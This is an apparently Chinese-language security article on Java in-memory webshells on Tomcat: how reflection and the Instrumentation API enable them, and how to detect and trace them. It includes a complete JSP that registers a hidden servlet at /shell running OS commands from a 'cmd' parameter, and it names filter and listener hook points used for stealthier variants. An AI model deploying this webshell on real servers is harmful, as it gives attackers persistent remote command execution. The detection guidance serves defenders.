Java Instrumentation 記憶體馬——主要是利用Instrumentation Java API來做記憶體注入,會用到反射機制,文中提到檢測思路:注入jar包-> dump已載入class位元組碼->反編譯成java程式碼-> 原始碼webshell檢測
java背景知識
2.3.1 java反射
反射提供的功能,能在執行時(動態)的
1.獲取一個類的所有成員變數和方法
2.建立一個類的物件
a.獲取物件成員變數&賦值
b.呼叫物件的方法
c.判斷物件所屬的類
在注入記憶體馬的過程當中,我們可能需要用到反射機制,例如注入一個servlet型的記憶體馬,我們需要使用反射機制來獲取當前的context,然後將惡意的servlet(wrapper)新增到當前的context的children中。
在使用Java反射機制時,主要步驟包括:
①獲取 目標型別的Class物件
②通過 Class 物件分別獲取Constructor類物件、Method類物件 & Field 類物件
③通過 Constructor類物件、Method類物件 & Field類物件分別獲取類的建構函式、方法&屬性的具體資訊,並進行後續操作
2.3.2 java instrumentation
Instrumentation是Java提供的一個來自JVM的介面,該介面提供了一系列檢視和操作Java類定義的方法,例如修改類的位元組碼、向classLoader的classpath下加入jar檔案等。使得開發者可以通過Java語言來操作和監控JVM內部的一些狀態,進而實現Java程式的監控分析,甚至實現一些特殊功能(如AOP、熱部署)。
Java agent是一種特殊的Java程式(Jar檔案),它是Instrumentation的客戶端。與普通Java程式通過main方法啟動不同,agent並不是一個可以單獨啟動的程式,而必須依附在一個Java應用程式(JVM)上,與它執行在同一個程序中,通過Instrumentation API與虛擬機器互動。
在注入記憶體馬的過程中,我們可以利用java instrumentation機制,動態的修改已載入到記憶體中的類裡的方法,進而注入惡意的程式碼。
三、記憶體馬實現
這裡我們以tomcat的servletAPI型記憶體馬為例講一下記憶體馬的實現。下面的程式碼先是建立了一個惡意的servlet,然後獲取當前的StandardContext,然後將惡意servlet封裝成wrapper新增到StandardContext的children當中,最後新增ServletMapping將訪問的URL和wrapper進行繫結。
<%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.PrintWriter" %> <% // 建立惡意Servlet Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }; %> <% // 獲取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext(); // 用Wrapper對其進行封裝 org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper(); newWrapper.setName("jweny"); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); // 新增封裝後的惡意Wrapper到StandardContext的children當中 standardCtx.addChild(newWrapper); // 新增ServletMapping將訪問的URL和Servlet進行繫結 standardCtx.addServletMapping("/shell","jweny"); %>
執行上述程式碼後,訪問當前應用的/shell路徑,加上cmd引數就可以命令執行了。使用新增servlet的方式就需要繫結指定的URL。如果我們想要更加隱蔽,做到記憶體馬與URL無關,無論這個url是原生servlet還是某個struts action,甚至無論這個url是否真的存在,只要我們的請求傳遞給tomcat,tomcat就能相應我們的指令,那就得通過注入新的或修改已有的filter或者listener的方式來實現了。比如早期rebeyond師傅開發的memshell,就是通過修改org.apache.catalina.core.ApplicationFilterChain類的internalDoFilter方法來實現的,後期冰蠍最新版本的記憶體馬為了實現更好的相容性,選擇hook javax.servlet.http.HttpServlet#service 函式,在weblogic選擇hook weblogic.servlet.internal.ServletStubImpl#execute 函式。
四、記憶體馬檢測與排查
4.1原始碼檢測
在java中,只有被JVM載入後的類才能被呼叫,或者在需要時通過反射通知JVM載入。所以特徵都在記憶體中,表現形式為被載入的class。需要通過某種方法獲取到JVM的執行時記憶體中已載入的類, Java本身提供了Instrumentation類來實現執行時注入程式碼並執行,因此產生一個檢測思路:注入jar包-> dump已載入class位元組碼->反編譯成java程式碼-> 原始碼webshell檢測。
這樣檢測比較消耗效能,我們可以縮小需要進行原始碼檢測的類的範圍,通過如下的篩選條件組合使用篩選類進行檢測:
①新增的或修改的;
②沒有對應class檔案的
③xml配置中沒註冊的
④冰蠍等常見工具使用的
⑤filterchain中排第一的filter類
還有一些比較弱的特徵可以用來輔助檢測,比如類名稱中包含shell或者為隨機名,使用不常見的classloader載入的類等等。
另外,有一些工具可以輔助檢測記憶體馬,如java-memshell-scanner是通過jsp掃描應用中所有的filter和servlet,然後通過名稱、對應的class是否存在來判斷是否是記憶體馬
4.2 記憶體馬排查
如果我們通過檢測工具或者其他手段發現了一些記憶體webshell的痕跡,需要有一個排查的思路來進行跟蹤分析,也是根據各型別的原理,列出一個排查思路。
如果是jsp注入,日誌中排查可疑jsp的訪問請求。
如果是程式碼執行漏洞,排查中介軟體的error.log,檢視是否有可疑的報錯,判斷注入時間和方法
根據業務使用的元件排查是否可能存在java程式碼執行漏洞以及是否存在過webshell,排查框架漏洞,反序列化漏洞。
如果是servlet或者spring的controller型別,根據上報的webshell的url查詢日誌(日誌可能被關閉,不一定有),根據url最早訪問時間確定被注入時間。
如果是filter或者listener型別,可能會有較多的404但是帶有引數的請求,或者大量請求不同url但帶有相同的引數,或者頁面並不存在但返回200
參考連結
java web請求三大器——listener、filter、servlet
Tomcat架構原理
利用“程序注入”實現無檔案復活 WebShell
深入理解反射
查殺Java web filter型記憶體馬